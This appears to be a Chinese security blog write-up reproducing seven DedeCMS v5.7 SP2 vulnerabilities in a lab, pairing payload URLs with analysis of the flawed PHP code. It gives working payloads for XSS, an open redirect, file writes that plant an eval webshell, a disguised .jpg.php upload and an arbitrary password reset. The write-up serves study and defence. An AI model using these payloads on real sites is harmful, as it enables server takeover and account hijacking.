DedeCMS_v5.7漏洞复现
环境搭建:
服务器:WinServer2008(10.10.10.143) + phpstudy2018
DedeCMS版本:DedeCMS-V5.7-UTF8-SP2
下载地址:https://pan.baidu.com/s/1GQjWSDe7IlMVsVJ7HvrBOw 提取码: i4wk
0x01 URL重定向
版本<=5.7sp2
漏洞复现
payload:
http://10.10.10.143/Dedecms/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20=
url重定向到百度:
漏洞分析
Dedecms/plus/download.php:55
$id=isset($id)&&is_numeric($id)?$id:0;$link=base64_decode(urldecode($link));
代码中首先对$link进行url解码(浏览器自动对$link进行url编码),
再对其进行base64解码,所以在URL重定向复现时,要将URL进行base64编码
0x02 后台shops_delivery_存储型XSS
漏洞复现
管理员在添加用户购买商品的配送方式时,可能会触发x存储型ss
模拟管理员添加配送方式:
进入后台—>会员—>配货方式设置—>增加一个配货方式
上图中最后一个方式是由笔者自己添加的xss测试代码
用户在购买商品时会自动弹出配送方式列表
漏洞分析
漏洞触发点在如下文件中:
Dedecms/dede/shops_delivery.php:28
$des=cn_substrR($des,255);$InQuery="INSERT INTO #@__shops_delivery(`dname`,`price`,`des`) VALUES ('$dname','$price','$des');";$result=$dsql->ExecuteNoneQuery($InQuery);if($result){ShowMsg("成功添加一个配送方式!","shops_delivery.php");}else{ShowMsg("添加配送方式时发生SQL错误!","-1");}exit();
代码中对配货方式(des)没有做任何过滤便添加到数据库中
0x03 carbuyaction_存储型XSS
漏洞复现
用户在编辑订单信息(填写收货地址)处可以插入xss代码
管理员在查看用户订单信息时会触发xss漏洞:
漏洞分析
Dedecms/plus/carbuyaction.php:111
$address=cn_substrR(trim($address),200);
程序中没有对address参数进行过滤
0x04 tpl后台文件写入
版本=5.7sp2、5.81
漏洞复现
token获取:
访问http://10.10.10.143/Dedecms/dede/index.php
源代码里有token
构造payload:
http://10.10.10.143/Dedecms/dede/tpl.php?action=savetagfile&filename=123.lib.php&acontent=<?php phpinfo();?>&token=871dcbfab72289fce2c0544f3d78f7a1
执行结果如下:
创建的文件路径:
http://10.10.10.143/Dedecms/include/taglib/123.lib.php
访问如下:
文件成功被写入
漏洞分析
$action=savetagfile时可以将文件保存为.lib.php格式的脚本
其中$content为文件的内容,$filewname为文件名
正则表达式要求文件名中至少包含一个字母、数字、“_”、“-”
所以测试如下参数:
action=savetagfile
content=<?php phpinfo(); ?>
filename=123.lib.php
253行有一个csrf检测,因此在漏洞利用的时候需要传入一个token参数
0x05 sys_verifies后台文件写入
版本:5.7sp1、5.7sp2
漏洞复现
payload
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\";phpinfo();die();//
写入文件:Dedecms/data/modifytmp.inc
漏洞分析&GetShell
sys_verifies.php:152
elseif($action=='getfiles'){if(!isset($refiles)){ShowMsg("你没进行任何操作!","sys_verifies.php");exit();}$cacheFiles=DEDEDATA.'/modifytmp.inc';$fp=fopen($cacheFiles,'w');fwrite($fp,'<'.'?php'."\r\n");fwrite($fp,'$tmpdir = "'.$tmpdir.'";'."\r\n");$dirs=array();$i=-1;$adminDir=preg_replace("#(.*)[\/\\\\]#","",dirname(__FILE__));# 获取当前文件的绝对目录foreach($refilesas$filename){$filename=substr($filename,3,strlen($filename)-3);# 去掉$filename中的前三个字符if(preg_match("#^dede/#i",$filename)){$curdir=GetDirName(preg_replace("#^dede/#i",$adminDir.'/',$filename));#去掉$filename中的DEDE(dede)制度}else{$curdir=GetDirName($filename);}if(!isset($dirs[$curdir])){$dirs[$curdir]=TestIsFileDir($curdir);}$i++;fwrite($fp,'$files['.$i.'] = "'.$filename.'";'."\r\n");}fwrite($fp,'$fileConut = '.$i.';'."\r\n");fwrite($fp,'?'.'>');fclose($fp);
上述代码中要求传入参数
$action=getfiles
$refiles是一个数组,数组中的内容将会被写入到$cacheFiles也就是DEDEDATA.'/modifytmp.inc‘文件中,(其中DEDEDATA为data文件夹的路径),并且$refiles的内容是可控的
我们首先尝试传入测试字符串:
payload_test1
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=getfiles&refiles[]=hummer
前三个字母被删除了,因为源代码中有如下操作:
$filename=substr($filename,3,strlen($filename)-3);# 去掉$filename中的前三个字符
我们尝试写入自己的命令:
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=getfiles&refiles[]=123"phpinfo(); die(); //
发现单引号和双引号都被转义了,因为Ddedecms在common.inc.php中对代码进行了全局addslash()过滤,会将双引号,单引号,斜杠前都加上一个斜杠
这里有个非常有意思的东西,我们输入的内容前三个字符会被删除掉,如果我们只输入
/"
,过滤后就会变成
///"
,程序恰好会帮助我们删除三个斜杠,这样就能成功过滤addslash函数了。
再次尝试修改我们的payload
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=getfiles&refiles[]=\";phpinfo(); die(); //
成功写入!!
此文件在$action=down的部分还存在文件包含漏洞
我们向modifytmp.inc中写入测试代码:
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=getfiles&refiles[]=\";eval($_GET[a]); die(); //
上图代码中存在文件包含漏洞,尝试利用
http://10.10.10.143/Dedecms/dede/sys_verifies.php?action=down&a=echo 'hummer';
测试成功!!
0x06 album_add_后台文件上传
漏洞复现:
制作图片马,内容为
<?phpphpinfo();?>
命名为123.jpg.php,压缩为zip文件
打开网址:http://10.10.10.143/Dedecms/dede/album_add.php
选择从zip压缩包上传
点击确定上传
上传完成后点击预览文档
漏洞复现成功!!
图片上传的位置为:
Dedecms\uploads\allimg
上传的图片在后台内容管理->图片集中也可以进行管理
漏洞分析
查看源代码:
对上传文件的限制是
.jpg
、
.png
、
.gif
没有对文件名做更多的过滤,我们只要上传shell.jpg.php即可
0x07 前台任意密码重置
漏洞复现
创建账号hummer(mid=2)模仿攻击者账号,创建test(mid=4)模仿被攻击者
登录hummer账号
payload:
10.10.10.143/Dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=4
burpsuite抓服务器的响应:
可以看到服务器为我们返回了
key=swHO1E2V
访问:http://10.10.10.143/Dedecms/member/resetpassword.php?dopost=getpasswd&id=4&key=swHO1E2V
就可以修改密码了
漏洞分析
漏洞出现的文件:Dedecms/member/resetpassword.php:75
if($row['safequestion']==$safequestion&&$row['safeanswer']==$safeanswer){sn($mid,$row['userid'],$row['email'],'N');exit();}
如果safequestion和safeanswer都匹配正确,则进入sn()函数
我们继续跟踪sn()
if(!is_array($row)){//发送新邮件;newmail($mid,$userid,$mailto,'INSERT',$send);}
直接进入newmail()函数,继续跟踪:
elseif($send=='N'){returnShowMsg('稍后跳转到修改页',$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);}
默认的
$send
参数为N,所以会直跳转给出$key,不需要邮箱验证
得到$key以后,传入dopost=getpasswd,并传入key值和用户id即可成功修改密码
版权归原作者 Hummer-200 所有, 如有侵权,请联系我们删除。